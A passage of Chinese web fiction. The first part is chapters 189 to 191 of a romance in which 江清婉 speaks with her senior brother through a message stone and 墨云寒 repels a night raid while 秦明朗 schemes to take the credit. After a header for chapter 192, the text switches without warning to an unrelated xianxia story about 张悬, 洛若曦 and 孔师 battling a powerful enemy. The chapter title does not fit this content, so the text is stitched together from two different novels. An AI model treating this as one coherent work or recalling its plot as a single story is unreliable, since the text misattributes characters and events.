以她的距离,根本来不及拉住江清婉。
眼睁睁看着她朝前栽去。
耳边却在这时有疾风袭来,下一刻,一道人影便已经到了江清婉身边,将人一把捞进了怀里。
不是墨云寒还能是谁。
莲儿惊魂未定的拍了拍胸口,没有再上前,又往后退了退。
月色照在江清婉苍白的小脸上,有一层细细密密的汗珠在额头。
她看向墨云寒,仍有些头晕脱力。
“你怎么来了?”
“我不来,你就要喂鱼了。”墨云寒气恼又心疼,“非要这么急着把事情做了吗?不能休息一夜,明日再弄?”
江清婉没有解释。
抬手推了推想挣脱,却反被抱得更紧。
头顶传来凶狠的低叱。
“你要是想进去洗个澡,本王成全你将你丢的远一些。”
江清婉实在没力气跟他吵,软软的趴在了他胸口。
“累了,抱我回去。”
墨云寒的胸口压着一股火,烧得人心肝都疼。
可看着怀里的小女人,却又无处宣泄。
认命的将人打横抱起,却还是很不爽。
“我们在吵架,你倒是指使的顺嘴。”
江清婉轻轻笑了笑。
“因为王爷嘴硬心软,舍不得将我丢进河里喂鱼。”
这下,墨云寒直接给气笑了。
转身抱着她朝着河中央掠去。
莲儿吓得大叫,紧跟着往前跑了几步。
“王爷,小姐。”
江清婉的身体也被这突如其来的腾空感吓得僵了僵,下意识环上了墨云寒的脖子。
感受着夜风飞驰,她的身体却又很快松弛下来,乖顺的软在他怀里,大有一种,你敢扔,那就扔吧的随性。
倒是把准备好好折腾她一番的墨云寒弄的没了半点脾气。
再次回到岸边,他没好气的在她腰上轻轻捏了一把。
“本王上辈子也不知造了什么孽,这辈子竟失心疯般求娶了你。”
江清婉被他逗笑,小手勾他的前襟。
“我不好吗?”
墨云寒低头瞪她。
“别乱摸。”
莲儿提着灯笼跟在后面,被这话惊得差点栽个跟头。
赶紧又往后退了两步。
江清婉低低笑了起来,小手又蹭了蹭。
“就摸。”
两个人之间凝滞的气氛似乎烟消云散。
可彼此的心里,却又竖起了隔阂,仿佛一层纱,一侧欢愉,一侧痛苦,却谁也不肯将那层纱掀开。
墨云寒抱着她刚回到小院还未进门,夜七就脸色紧绷的飞驰而来。
“王爷,城外有动静。”
第189章 传音石
江清婉立刻从他怀里下来,神色肃穆。
“去迎战吧!”
墨云寒点点头。
“夜七,你留下……”
“我不需要人保护。”
江清婉不等他说完,便已经知晓他的用意。
“夜七,你去找洛九,将能用上的机关武器都带好,无论如何,诸位保重。”
她出现在那个小村子,被二师兄看到。
此次夜袭,绝对是那群人的最后一击。
夜七看向墨云寒。
墨云寒攥住江清婉的手腕,沉声道,“照王妃说的做,叫青穗即刻回来护卫王妃,不得有误。”
“是!”
夜七应声离开,眨眼间消失在黑夜中。
墨云寒低头看向江清婉。
“多一个人对战局影响不大,你身边没有人陪着,我不放心。”
江清婉没再拒绝,目送他离开。
议事堂虽离寨子的城门不近,可依稀间,她似乎也能听到紧促的脚步声,能感觉到机关暗器袭来的威压。
沉默良久,她转身回了房间。
推开门就看到小红蹲坐在桌上,嘴里叼着一个木制圆球。
她眸色闪了闪。
“莲儿,我饿了,去做点汤面吧,暖暖身子。”
莲儿以为她在河岸吹了风有些不适,忙躬身应下,将门管好去了临时搭建的小厨房。
小红歪着脑袋冲着她摇着尾巴,将嘴里木制的圆球放在了桌子上,爪子一拍,圆球传来机关锁转动的声音,随即徐徐打开。
里面躺着一颗石头。
其上用朱砂刻着一个“玄”字。
这是诸葛门的传音石。
她深吸一口气,指尖凝聚灵力点在了那个“玄”字上。
一道虚影闪过,半空中浮现出萧然厝那张玩世不恭的脸。
“小师妹,好久不见。”
江清婉轻声叹道,“你为什么这么做?”
萧然厝似有些受伤般捂住胸口。
“这么多年没见,小师妹都不问问我过的好不好吗?”
江清婉坐在一旁的椅子上,单手托着腮。
“那日虽匆匆一瞥,可观你气色,应过的极好。”
萧然厝大笑。
“那日我戴着面具,你如何看得?小骗子!”
江清婉的心口似被针扎了一下。
除去师父,三个师兄是陪伴她最长的人。
大师兄稳重,三师兄潇洒,唯有二师兄,总给人一种亦正亦邪之感。
可待她,却又极好。
好到就算她为了个男人,执意离开诸葛门下祁连山,惹得所有人震怒,唯有他只红着眼眶骂了句小骗子,偷偷塞给他银子,鼓励她去过她想过的人生。
时过境迁,似恍如隔世。
江清婉吸了吸发酸的鼻子。
“师父他老人家怎么样?大师兄和三师兄怎么样?”
萧然厝的声音依旧懒散。
“都很好,祁连山无事,诸葛门亦无事。”
“所以,你也离开了诸葛门是吗?”
这是江清婉能想到的,唯一一种可能。
若非如此,师父绝不会纵容他如此行事。
萧然厝低低笑了笑。
却没有回答这个问题。
“我记得你离开祁连山时曾说,你的人生,要自己把握,即便有刀山火海,也要趟过踏过才知酸甜苦辣,才不枉来人间走一遭。如今,你可后悔过?”
江清婉抿着唇没有说话。
后悔过吗?
被秦明朗和秦家人连番捅刀子的时候,她的确悔过。
可再回头,却清晰的知道,悔的只是自己眼瞎心盲,却并不是当初的选择。
若失去记忆再重活一世,她或许还会选择下山入凡尘。
“没有。”
她回的斩钉截铁。
萧然厝再次大笑。
“我一直知道,这世间,唯有小师妹一人能给我答案。如你曾言,刀山火海,要趟过踏过,才知结果,我在做的事情,便是我想做的事情。小师妹无需因为你我情意,改变任何你想做的事情,我亦然。”
江清婉缓缓攥紧了小手。
这个结果,她一早就猜到。
若萧然厝持刀和墨云寒相对而立。
他绝对会拼尽全力击杀。
正如今夜,他绝不会因为她的出现,而取消夜袭攻击。
她低着头,拼命憋着眼泪。
“是因为你的身世吗?”
传音石中似乎已经中断,可那石头却并没有裂开。
就在江清婉以为他不会再解释的时候。
萧然厝的声音却再次传来。
“你看到那尊石像了吗?”
江清婉怔住。
恍惚间似乎有什么东西,从指尖溜走,她想抓都抓不到,急的她立刻追问,
“石像?石像怎么了?”
那边再次沉默。
随即响起萧然厝很轻的一声长叹。
“不记得了也好。”
传音石咔嚓一声碎裂成数块,其上朱红的“玄”字也随之消散如烟。
江清婉心中千头万绪,却始终理不清。
小时候,她曾央着师父问自己是从哪里来的?
知道自己是从乱葬岗里捡回来的后伤心了好几天。
二师兄带她去捉山鸡,跟她提过,三个师兄都是孤儿,都没有父母。
那时她问,“你也是从乱葬岗里捡回来的吗?”
他说,“差不多,一样是尸山血海。”
尸山血海?
江清婉心头一凛。
难道,是战场吗?
大隋和大周的那场大战吗?
门外传来青穗的声音。
“王妃,我守在外面,您有事唤我。”
江清婉回神,将她叫进了房间。
“青穗,我让你查苏巍川的资料,你可有查到什么?”
青穗愣了下才道,“资料还未去拿,就随您来了清风寨,等回京我再去看看。您怎么突然提到苏巍川?难道清风寨的事,跟苏巍川有关?”
江清婉摇了摇头。
“不是,我随便问问。”
这时莲儿端着热腾腾的面走了进来,见到青穗立刻笑盈盈道,“正好我多做了一碗,等下我端过来给你,你多吃些,万一有敌人打进来,我家小姐还要指着你。”
她将碗筷放好,又问了句。
“李斗没回来吗?”
青穗道,“他非要跟着人上阵杀敌,我也叫不住。”
莲儿不由跺了跺脚,脸上闪过一抹担忧。
“这个愣头青,以为自己有把子力气就能杀敌了,一点经验都没有,莫要出事才好。”
她话音刚落。
忽然“轰”的一声巨响。
三人立刻走出房间,只见一道火光,在城门方向炸开。
江清婉与青穗齐齐皱眉。
“火药!”
第190章 护体金光
火药爆裂的声音还在不断响起。
虽不似最开始的那道火光的冲击力,但却极其频繁。
江清婉知道。
是在洛九家看到的那个圆盘中的火药桶发挥了作用。
那个力度,普通的铠甲根本无法抵挡。
秦明朗也从房间里走了出来。
听着不断响起的炸裂声,还有城门方向的火光,眼底不由闪过一丝得意。
故意朗声说道,“王爷不愧是大周的战神,虽在宫中受了三十鞭刑,却还能奋勇杀敌,实在是吾辈楷模,若今夜英勇就义,我定当颂歌广昭天下。”
青穗气的想弄死他。
却被江清婉拦下。
“墨云寒若是死了,逆贼冲入清风寨,你又有几分把握能活?”
秦明朗冷笑一声。
“你现在知道求我了吗?看在往日情分上,我可以给你这个机会。我身上的伤该换药了,你来我房间,替我换药。”
他一脸的颐指气使、胸有成竹。
江清婉心中起疑。
“秦明朗,已到此刻,你还尚有保留?”
秦明朗挑眉。
“想套我话?之前墨云寒欺辱我的时候,你怎么半句都不为我说话?想知道,就跟我进来,我浑身都有伤,换药需脱光了衣服,王妃的丫鬟下人,还是不要跟进来为好。”
青穗忍无可忍的撸起了袖子。
江清婉却神色淡然。
“我与我夫君,生死与共,他若战死,我自会随他而去,无需秦将军挂念。”
秦明朗瞬间气的脸色铁青。
“你要跟他生死相随?江清婉,你怎么这么贱!你告诉我,是不是五年前,我离开了京城以后,你们两个就搞在了一起?你其实早就背叛了我是不是?”
他激动上前,恨不得攥住江清婉的脖领子,却又忌惮青穗的武功,恨得眼角都红了。
江清婉只觉得可笑。
“我愿与他生死相随自然是因为爱他敬他,你一个狼心狗肺的东西,岂能体会?”
她越是说对墨云寒情真意切,秦明朗越是气恼。
他根本就无法接受,江清婉在情感上先他一步舍弃他。
“好,很好。你就等着看他死在这里吧?我会让你跪在我面前求我带你离开。”
他愤怒转身回了房间,将门摔得震天响。
青穗低声道,“王妃,这厮怕是另外安排了人马,想捡渔翁之利。不如我进去严刑逼供,问出实情。”
江清婉摆摆手。
“不必。墨云寒不会输。”
城门前,
王昊的伤早就绷出了血,挥舞着大刀却分毫不退。
挡在他前面的士兵再次被弯刀割断了脖子,鲜血喷了他一脸。
温热,腥甜。
刺激的他双眼赤红。
“奶奶的,老子跟你们拼了。”
紧随圆盘之后的是火药铁球。
砰的一声砸向他的胸口。
被洞穿过的已有不少,王昊奋力用大刀抵挡。
眼看挡不住,一道剑光袭来,将那火药石生生劈开。
炸裂的火花飞溅而起,炸在来人的脸颊上,在肌肤上烫出了好几处血泡。
王昊得以缓了口气。
看着墨云寒急声道,“王爷,这东西着实厉害,再这样下去,咱们的人根本扛不住。”
墨云寒根本没在意脸上的血泡,黑沉的眸子异常凌厉。
“夜七,王昊……”
他连续叫了好几个人名,皆是此次前来有官职的人员。
“与本王破阵,其余人退到城墙后,等候号令。”
洛九研究出来的破除机关的几种武器全都到了这几人手中。
墨云寒、夜七、苏柳儿三人轻功最好,飞跃期间相互配合破坏机关阵,给其他人投掷铁索的机会。
此法倒是很见成效。
可很快远处就掷来一个火弹。
比最初的那个还要大。
士兵都退到了城门后,这火弹的轰击范围,完全笼罩住墨云寒几人。
一旦落下,顷刻间就会被炸成碎片。
城门后的士兵皆是大急。
“王爷!”
苏柳儿将速度提到最快,和夜七一左一右冲过来想帮墨云寒挡一下。
“王爷快走!”
火光炙烤着皮肤。
就在所有人都以为要完蛋的时候,墨云寒忽地大喝一声,手中长剑朝着那火弹劈了过去。
剑气和火弹的冲击力相撞。
顷刻间墨云寒的虎口就被崩开,掌心也被震出了鲜血。
鲜血抵在地上,滴在火光中,竟凝出一道又一道红色的丝线。
他周身似乎蒙上了一层血雾。
那些丝线凝出无人可见的金色符箓,飞速旋转在四周,随着墨云寒内力的再一次爆发。
符箓四散,护体金光大成。
墨云寒只感觉到一股大力相助,竟将那火弹朝着来时的方向砸了回去。
“轰!”
火光撕裂黑暗,远处传来一阵又一阵的惨叫声。
墨云寒飞速转身。
“合力破阵!快!”
电光火石之间,盘旋在半空中的暗器机关被尽数控制,狠狠砸落地面。
等在城门内的士兵再也安耐不住。
“冲啊!”
血肉飞溅,战局以压倒性的势头结束。
另一个方向。
道三指着那道金光惊道,“先生,你看。”
萧然厝背着手站在马车上,眸色冷冷的看着那道冲天的金光。
其上符箓疯狂流转。
过了好一会儿,他弯腰进了车厢。
“走吧。”
道三心有余悸。
“如此灵力,实在是世所罕见,没想到如今大周皇室,还有这等高人。”
萧然厝放下布帘,声音低沉慵懒。
“有她在,此局必败。不过这场血腥杀戮,才刚刚开始。谁也别想逃脱。”
道三听不懂,也没敢问。
坐上马车扬起马鞭。
黑色的马车咕噜噜驶进黑暗,踏着月色消失不见。
城门口的硝烟和声响终于停歇。
街上陆陆续续有村民探出头来看。
街长家的门也在这时打开。
他拄着拐杖站在门口,看着那扇敞开的城门,若有所思。
周围乡邻传来小声议论。
“是谁赢了?”
“肯定是仙姑这边赢了,人还能赢得过神仙吗?”
“你们瞧,城门上的旗子没有换。真的是仙姑他们赢了。”
众人皆是欢呼。
街长的心却是沉了又沉。
他匆匆转身关上了院门。
儿子赵挺从西边厢房出来。
“爹,小云醒了,喝了碗鸡汤,已经下奶。”
街长似一下子老了许多。
“那就好。”
赵挺又道,“爹,您去找仙姑说清楚吧,仙姑心善,一定会理解您的苦衷,乡亲们不会怪你的。”
街长轻轻摇了摇头。
“儿啊,此事你不要管,好好照顾你的妻儿。”
他说着走完去了耳房,关上门,跪在了石像前。
看着那狰狞的石像,却是老泪纵横。
“老东家啊,我该去陪您了。”
第191章 抢功
城门口再次响起的炸裂声,让秦明朗的心里越发笃定,墨云寒这一战,必输。
他推开后窗,凝神聆听着外面的动静。
空气中的血腥味极重,而城门口的厮杀声却越来越低。
街上已有灯笼亮起,似在迎接这个寨子真正的主人。
他眼中泛起冷笑。
“等的就是这个时候。”
说着抽出腰间信号弹拔出,朝着天空飞射而去。
随后快速穿上铠甲,拿起长枪,英姿勃发地走了出去。
江清婉站在院子里,看着烟花弹飞上天空,眸子微微凝了凝。
莲儿道,“小姐,那是什么?”
江清婉还未说话,就被秦明朗打断。
“那是你们的救命稻草。”
说着眸光扫向江清婉,这一次却没有问她的选择,只是冷冷哼了一声,带着一种志在必得的神武,扯开拴在院子里的战马马缰,翻身而上,一夹马腹,冲了出去。
莲儿一脸懵。
“小姐,不是都打完了吗?他这是要去做什么?”
江清婉悠然的打了个哈欠。
“去作死。困了,回房睡觉。”
此刻,城门口已经在扫到战场,火弹的威力极大,逆贼死伤大半,只余下十几人灰头土脸的被押扣在角落。
洛九正招呼人收拾散落的暗器,小心检查是否还有火药残留。
众人各司其职,忽听马蹄声响,均齐齐抬头看去。
只见街上有战马狂奔,所到之处,朗朗之声威慑而下。
“尔等私通叛贼,罪不容恕,谁敢阻挠本将军,本将军必将其斩于马下。”
各家各户的村民吓得齐齐后退,皆不知发生了何事。
秦明朗一路疾驰到城门口,满腔热血在看到墨云寒等人完好无损地站在那里后吓得差点从马背上跌下来。
王昊扛着大刀,脸上还挂着血,笑的森冷。
“秦将军不是病重的厉害难以作战吗?我瞧着骑马骑得挺好。”
另一名副将也呵呵两声。
“何止骑马骑得好,刚刚这一路喊来的声音,这气很足啊。”
刚刚经历生死的士兵,看过来的眼神也皆是不耻。
墨云寒虽已经久没有上战场,可刚刚,一人护卫百人的胸襟和能力,早就令所有人叹服。
相比而言,秦明朗身为皇上钦点的将军,却假装病痛逃避责任,反而在事情结束以后,再来抢功,实在是小人之举。
墨云寒冷冷看着他,凉凉开口。
“秦将军何意?”
王昊最憋不住话。
“王爷,还能何意啊,来抢功劳呗,回去红口白牙一说,是他击退了贼子,多不要脸啊。”
秦明朗被当场揭穿心思,一张脸涨得通红,强装镇定的解释道,“我只是想来助各位一臂之力,并无抢功的意思。”
他话音刚落。
就听见不远处传来窸窸窣窣的脚步声,伴随着刻意压低的说话声。
“看来秦将军已经控制了局面,我们快与他汇合,今日这大功,就是我们兄弟的了。冲啊!”
骤然的厮杀声震天响,几十个身穿夜行衣的人冲了过来,手里全拿着机关弩。
刚要射杀,就发现不对劲。
再想缩回去根本不可能,后面前赴后继的人将前面停下的人撞得踉踉跄跄,尽数暴露在所有人眼前。
王昊没反应过来。
还以为又有逆贼,提着刀就要杀过去。
另一名副将却反应极快。
“秦明朗,你可真够贼的,我们在这里拼死拼活,你竟然还藏了兵力?”
另一名副将怒喝。
“给我包围起来,一个也不准放过。”
那几十人眼看情况不妙,立刻转身想作鸟兽散。
墨云寒却冷冷开口。
“只要你们身在军籍,一个也跑不掉!”
那些人只是愣了下,脚步却更快了起来。
“嗖!”
墨云寒抬手,一柄长剑飞刺而去,其中一人,应声而倒。
“再敢逃,格杀勿论!”
这一下所有人都不敢再跑。
秦明朗心急如焚,立刻下马拦住要上前审问的墨云寒。
“九王殿下,他们是我的旧部,并非末将私藏后路,末将只是想多一分保障,以免出现意外之事,还请殿下看在他们前来相助的份上,莫要为难。”
王昊呸了一口唾沫。
“你当老子聋啊,他们刚刚喊的可是来抢功。”
夜七附和。
“先不说他们来的目的,这么多人,绝不是这一路从京城跟来的,现在却突然出现在清风寨外,王爷,这算不算是私调兵马!”
秦明朗的冷汗都流了下来。
“此等大罪,岂可说扣就扣。他们……他们并非士兵,只是我的旧部,我回京之后,他们联系我,想要投奔,可我任职之事处处受阻,一直未能安置,如今奉命前来绞杀逆贼,我知机会难得,便通知了他们汇聚到此,绝非私调兵马,还请殿下明鉴。”
他说的情真意切,似身怀大义,对旧部残兵不离不弃。
那群人也都赶紧迎合。
“对对对,是秦将军大义,我们都是因为各种原因离开军籍的士兵,我们对大周忠心不二,可是我们遭人打压没有机会报国,我们只是想谋一个将来,求殿下开恩,接纳我们,我们愿肝脑涂地。”
“对,我们愿肝脑涂地。”
“愿肝脑涂地!”
声声附和让秦明朗心里松了松,赶紧又加了把火。
“殿下,这群贼子胆子太大,这寨子里的人怕是一个也脱不了干系,如今正是用人之际,还请殿下给他们一次机会为国效力。”
墨云寒眸色冰冷。
忽地噙着三分笑意的勾了勾唇角。
“也好。”
王昊顿时急了。
“殿下,此人不可轻信,太孙子了。”
秦明朗心中大石已落,立刻直起身反驳,“王副将,剿杀逆贼一事,皇上命我辅佐殿下,这里没有你反驳的权利。”
他当下又回头招了招手。
“你们还不快快过来拜见殿下。”
那群人立刻上前齐齐跪拜。
“见过九王爷,王爷千岁千岁千千岁。”
这时洛九走了过来,正准备跟墨云寒说一声机关暗器已全部收缴完毕,话没开口,却瞥见了那群人手里的弓弩。
顿时咦了一声。
“你们这弓弩?”
秦明朗心里咯噔一下,立刻低声喝道,“老先生,你制造的战车害死了不少士兵,此事,本将军还未上报朝廷,你休要再参合军中之事。”
第192章 不肯坦诚
灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。
就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。
为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊!
“灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!”
狠人道。
灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难?
“原来如此……”张悬目光一闪。
“和你说这么多,也算感谢将我带到神界了!”
解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。
“张悬,黑洞吞的越多,他的实力越强……”
洛若曦也发现了不对劲,急忙传音过来。
“准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!”
轰隆!
最强大的剑意,再次施展而出。
生当复来归,死当长相思!
生死皆不在乎,又有何事可以阻拦?
这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。
呼!
一剑将狠人的攻击,斩成两半。
同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。
她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。
“你们的招数是很厉害,但对比我,还是差了些……”
轻轻一笑,狠人再次向下抓来。
一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。
噗!噗!
张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。
以二人的实力,竟然抵挡不住!
这家伙到底达到了何种境界?
“放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。
远远看去,逼格十足。
炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。
一拳扬起,力量冲上九天。
和狠人对碰,同样倒飞而出,挡不住一招。
张悬捂住额头。
成就帝君了,分身依旧不改装逼的本性……
这么绚丽的装逼,还不如将力量集中起来,威力更大!
“一起出手,不然,他们死了,我们都会死……”
小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。
剩下六大帝君,也各自施展手段。
七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。
嘭嘭嘭嘭!
七位帝君和张悬等人一样,倒飞而出。
十大帝君,联合在一起,竟然都没挡住对方一招!
这家伙,怎么会这么强大?
“你们可以死了……”
一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。
“鼠辈敢尔!”
伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。
“帝君?他也是帝君实力?”
张悬瞳孔一缩。
这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者!
如果他是帝君,那位青年,是什么?
“他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。
“那……传我剑法的青年呢?”张悬再也忍不住。
“他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。
张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。
“哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!”
将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。
“怎么办?”张悬拳头捏紧。
刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招……
难道神界,真的没人能够挡住眼前这位?
任由他将世界毁灭?
“唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。
“回归天道本身?”张悬知道她的意思。
脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。
就好像人体的免疫系统。
免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。
只是……
“他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。
病毒,免疫系统是可以斩杀,但……猛虎呢?
再强的免疫系统,又有什么办法?
眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。
“这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!”
“他?”张悬皱眉。
“我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。
“想逃?”狠人冷哼,向下一按。
嘭!
洛若曦从空中坠落。
“你……”张悬剑法再次施展出来,剑意辉煌而出。
叮叮叮!
再次被狠人挡住。
“你们快走,我来挡住他……”
知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。
四周的空间凝固起来。
“走!”
见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。
自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。
“你说的他,在哪里?”
没空去观察普通人的生活,张悬看向怀中的女孩。
如果她说的那人,真能拯救神界,自己牺牲又何妨!
“他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。
“父亲?”
张悬恍然大悟。
难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。
这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。
“你父亲也是帝君?或者拥有超越帝君的实力?”
忍不住道。
图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大?
如果是这样的话,又为何会昏迷?
又需要天道有缺,才能让其清醒?
“他不是帝君,而是……天道!”
洛若曦秀拳捏紧。
“天道?你父亲……是天道?”张悬一震,不敢相信。
“是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。”
洛若曦道。
张悬恍然。
名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。
竟然是她父亲,而且还是神界天道!
天道真的能够化成人形,并且生儿育女吗?
“代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。
代为掌控,和自己这种融合在体内,是两种概念。
“我只是掌控,并不是天道的一部分……”洛若曦道。
张悬松了口气。
这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。
尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。
“我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。
“这……我也不确定……”
抬头看了看已经崩塌的神界,洛若曦迟疑。
神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗?
真不好说!
“看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!”
“孔师?他……”洛若曦皱眉。
“孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!”
张悬道。
看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。
可以做到胎中不迷。
再加上提前留下的后手,复活,只是时间问题。
洛若曦愣住,似乎她没想到,会是这样。
“过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。
孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。
必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做!
而这种重要的事,明显就是让孔师恢复。
“这……”洛若曦心中一震,恍然大悟。
“走吧!”
不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!”
不是孔师,又是何人!
这位万世之师,果然没让自己失望!
和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。
“你……”洛若曦娇躯一震。
她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快!
“我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!”
孔师微微一笑。
他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。
几十年的时光,都有了。
“我们三人的实力,是很强,但想要胜过狠人,也没那么容易……”
见孔师果真恢复,洛若曦依旧摇头。
不是涨他人威风,灭自己志气,而是事实。
刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何?
同样改变不了局面!
“我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?”
孔师笑着看过来。
“融合在一个人身上?”
这次不光洛若曦皱眉,张悬也满是疑惑。
“那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……”
孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!”
“如何集中?”
洛若曦看过来。
说的简单,做起来难。
帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。
“很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!”
孔师道。
“我?”张悬一愣:“为什么是我?”
“灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!”
孔师道。
洛若曦说不出话来。
战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。
“无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……”
孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……”
当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。
“所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!”
孔师继续道。
生当复来归,死当长相思!
连死亡都不在乎,又怎么会被其他事情所羁绊?
“这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!”
“好吧!”
见对方已经做出决定,自己解释再多也无用,张悬点了点头。
轰隆!
盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。
张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。
灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。
……
“你们也想拦我?也好,杀了你们,再去将张悬斩杀……”
将洛七七和分身等人拍飞,狠人冷冷一笑。
分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。
